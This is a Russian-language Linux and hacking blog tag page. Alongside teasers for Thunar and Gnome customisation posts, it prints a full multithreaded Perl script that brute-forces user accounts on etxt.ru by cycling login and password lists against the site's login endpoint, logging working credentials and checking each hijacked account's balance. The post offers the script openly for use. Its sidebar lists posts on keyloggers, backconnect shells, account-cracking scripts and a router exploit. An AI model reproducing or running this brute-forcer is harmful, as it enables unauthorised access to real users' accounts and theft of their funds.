Записи с меткой «Linux»

c50ae11ac4626b22190f2e26cd5deab6 Плюшки в контекстном меню Thunar

Предисловие.

С недавнего времени мне стало довольно часто нужно склеевать текстовые файлы, а так же удалять из этих файлов дубликаты.
Я долгое время делал всё из терминала, но когда юзаешь менеджер файлов, то это не удобно постоянно открывать терминал в нужной папке, и делать пару тех же самых команд.
А если что то делать лень — то тут есть место для автоматизации:D
Я использую файловый менеджер thunar, потому опишу как добаить пункты именно в его меню.
Прочитать остальную часть записи »

tt twitter big4 Плюшки в контекстном меню Thunar tt digg big4 Плюшки в контекстном меню Thunar tt facebook big4 Плюшки в контекстном меню Thunar tt gmail big4 Плюшки в контекстном меню Thunar tt myspace big4 Плюшки в контекстном меню Thunar tt reddit big4 Плюшки в контекстном меню Thunar

Брутфорс сайта etxt.ru
[+] Многопоточноcть
[+] Сохранение бедов (опционально)
[+] Чек баланса (опционально)

Собственно говоря вот и код:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/perl -w
######
# Author: SHok aka mr. Lex
# Licens: GPL v3
# Officiall site: http://nig.org.ua
######
use strict;
use LWP::UserAgent;
use Fcntl ':flock';
use threads;
use threads::shared;
###
$| = 1;
##########################Config##################################
my $logins = 'logins.txt';  # Файл с логинами
my $pass = 'pass.txt';      # Файл с паролями
my $split = ';';        # Разделитель
my $threads = 20;           # Кол-во потоков
my $good = 'good.txt';      # Файл с гудами
my $bad =  'bad.txt';       # Файл с бэдами
my $balans = 1;         # Проверять баланс 1 - да, 0 - нет
##################################################################
print "[i] Read logins and pass ...\n";
open (ACCS, $logins) or die "Cen't open file ".$logins." [ ".$!." ]\n";
chomp(my @logins : shared  = );
close(ACCS);
print "[+] Logins loaded.\n";
open (ACCS, $pass) or die "Cen't open file ".$pass." [ ".$!." ]\n";
chomp(my @pass = );
close(ACCS);
print "[+] Passwords loaded.\n";
print "[i] Starting threads ...\n";
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
print "[i] Process finished.\n";
sub main {
    my $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko)');
    $ua->cookie_jar({});
    while (my $login = shift @logins) {
        for (@pass) {
            my $sesion = login($ua, $login, $_);
            if ($sesion) {
                unless ($balans) {
                    print '[Good] ['.$login.$split.$_."]\n";
                    wf($good, $login.$split.$_."\n");
                } else {
                    my $b = get_balans($ua, $sesion);
                    print '[Good] ['.$login.$split.$_."]    [Balans: ".$b."]\n";
                    wf($good, $login.$split.$_."    [Balans: ".$b."]\n");
                }
                last;
            } else {
                print '[Bad]  ['.$login.$split.$_."]\n";
                wf($bad, $login.$split.$_."\n") if ($bad);
            }
        }
        $ua->cookie_jar->clear();
    }
}

sub login {
    my ($ua, $login, $pass) = @_;
    chomp($login, $pass);
   
    my $answ = $ua->post('https://www.etxt.ru/?enter=1',
        {
        login => $login,
        password => $pass,
        })->as_string;
   
    if ($answ =~ m#Location: admin\.php\?sid=(\w{32})#) {
        #wf('index.html', $answ);
        return $1;
    } else {
        return undef;
    }
}

sub get_balans {
    my $ua = shift;
    my $session = shift;
    my $data = $ua->get('https://www.etxt.ru/admin.php?sid='.$session)->content;
    #wf('index2.html', $data);
    my ($b) = ($data) =~ m#(.*?)#i;
    return $b;
}

sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}

tt twitter big4 Брут сайта etxt.ru tt digg big4 Брут сайта etxt.ru tt facebook big4 Брут сайта etxt.ru tt gmail big4 Брут сайта etxt.ru tt myspace big4 Брут сайта etxt.ru tt reddit big4 Брут сайта etxt.ru

И так, этот пост посвящён раскладке клавиатуры, а точнее её украшению icon smile Красивая раскладка клавиатуры в Gnome
Сегодня ми заменим скушные надписи Рус, Укр, США, на
[РАНЬШЕ ТУТ БЫЛИ КАРТИНКИ. ПОТОМ ИХ ПОУДАЛЯЛИ]

И так поехали icon smile Красивая раскладка клавиатуры в Gnome
Прочитать остальную часть записи »

tt twitter big4 Красивая раскладка клавиатуры в Gnome tt digg big4 Красивая раскладка клавиатуры в Gnome tt facebook big4 Красивая раскладка клавиатуры в Gnome tt gmail big4 Красивая раскладка клавиатуры в Gnome tt myspace big4 Красивая раскладка клавиатуры в Gnome tt reddit big4 Красивая раскладка клавиатуры в Gnome

Написал на днях такое чудо, всё вроде нормально работает, может кому то пригодиться.
Возможности:
[+] Многопоточноcть
[+] Сохранение бедов (опционально)
[+] Чек информации об аккаунте (опционально)
Прочитать остальную часть записи »

tt twitter big4 Брутфорс партнёрки ZipCoin tt digg big4 Брутфорс партнёрки ZipCoin tt facebook big4 Брутфорс партнёрки ZipCoin tt gmail big4 Брутфорс партнёрки ZipCoin tt myspace big4 Брутфорс партнёрки ZipCoin tt reddit big4 Брутфорс партнёрки ZipCoin

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++